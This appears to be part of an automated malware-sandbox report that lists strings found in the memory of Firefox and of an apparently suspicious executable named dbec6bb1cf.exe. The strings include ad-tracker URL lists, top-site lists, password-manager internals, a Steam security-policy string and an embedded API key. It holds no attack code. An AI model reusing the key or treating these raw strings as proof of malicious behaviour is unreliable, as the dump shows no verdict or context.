Source: firefox.exe, 0000001A.00000002.2806783110.0000014D5135C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D5135C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001A.00000002.2829538640.0000014D5590C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2829538640.0000014D5590C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]]{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "*:/
Source: firefox.exe, 0000001A.00000002.2872155375.0000014D5DB3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2872155375.0000014D5DB3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000003.2756220864.0000014D55964000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: browsing-context-discardedbrowsing-context-discarded did not match due to targetinghttps://www.aliexpress.com/bound onEnabledPrefChangehttps://www.leboncoin.fr/main/nimbus-desktop-experimentsbrowsing-context-discardedhttps://www.wikipedia.org/https://www.facebook.com/Could not find branch slug getAllLoginsWithCallback/<PWMGR_NUM_HTTPAUTH_PASSWORDSrecordBreachAlertDismissalisPotentiallyVulnerablePassword#encryptLogins/plaintexts<modifyLogin/matchingLogin<PWMGR_LOGIN_LAST_USED_DAYS#decryptLogins/ciphertexts<Couldn't decrypt strings: DEFAULT_REPLACEMENT_CHARACTERPWMGR_NUM_PASSWORDS_PER_HOSTNAMEdismissedBreachAlertsByLoginGUIDaddLoginsAsync/matchingLogin<removeAllUserFacingLoginsEnabling login saving for @mozilla.org/security/sdr;1passwordmgr-crypto-loginCanceledspecified GUID already existsCould not decrypt login: Removing all user facing logins.loginLastUsedDaysHistogrampotentiallyVulnerablePasswordsaddPotentiallyVulnerablePasswordLoginStore.prototype._saveensureCurrentSyncID: newSyncID: google@search.mozilla.org__MSG_extensionDescription____MSG_searchUrlGetParams__potentiallyVulnerablePasswordweave:telemetry:histogramlogin values can't contain nulls equals www.facebook.com (Facebook)
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2862333210.0000014D5D4E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2856302856.0000014D587B2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2861316139.0000014D5D3E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.wikipedia.org/https://www.facebook.com/Could not find branch slug getAllLoginsWithCallback/<PWMGR_NUM_HTTPAUTH_PASSWORDSrecordBreachAlertDismissalisPotentiallyVulnerablePassword#encryptLogins/plaintexts<modifyLogin/matchingLogin<PWMGR_LOGIN_LAST_USED_DAYS#decryptLogins/ciphertexts<Couldn't decrypt strings: DEFAULT_REPLACEMENT_CHARACTERPWMGR_NUM_PASSWORDS_PER_HOSTNAMEdismissedBreachAlertsByLoginGUIDaddLoginsAsync/matchingLogin<removeAllUserFacingLoginsEnabling login saving for @mozilla.org/security/sdr;1passwordmgr-crypto-loginCanceledspecified GUID already existsCould not decrypt login: Removing all user facing logins.loginLastUsedDaysHistogrampotentiallyVulnerablePasswordsaddPotentiallyVulnerablePasswordLoginStore.prototype._saveensureCurrentSyncID: newSyncID: google@search.mozilla.org__MSG_extensionDescription____MSG_searchUrlGetParams__potentiallyVulnerablePasswordweave:telemetry:histogramlogin values can't contain nulls equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2877591426.0000391875F04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2854529746.0000014D58467000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2836217561.0000014D56517000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/[{incognito:null, tabId:null, types:["sub_frame"], urls:["://trends.google.com/trends/embed"], windowId:null}, ["blocking", "responseHeaders"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/[{incognito:null, tabId:null, types:["sub_frame"], urls:["://trends.google.com/trends/embed"], windowId:null}, ["blocking", "responseHeaders"]] equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POST equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POST equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POST equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/[{incognito:null, tabId:null, types:["main_frame"], urls:["://login.microsoftonline.com/", "://login.microsoftonline.us/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/[{incognito:null, tabId:null, types:["main_frame"], urls:["://login.microsoftonline.com/", "://login.microsoftonline.us/"], windowId:null}, ["blocking"]] equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/[{incognito:null, tabId:null, types:["main_frame"], urls:["://login.microsoftonline.com/", "://login.microsoftonline.us/"], windowId:null}, ["blocking"]] equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POST equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POST equals www.twitter.com (Twitter)
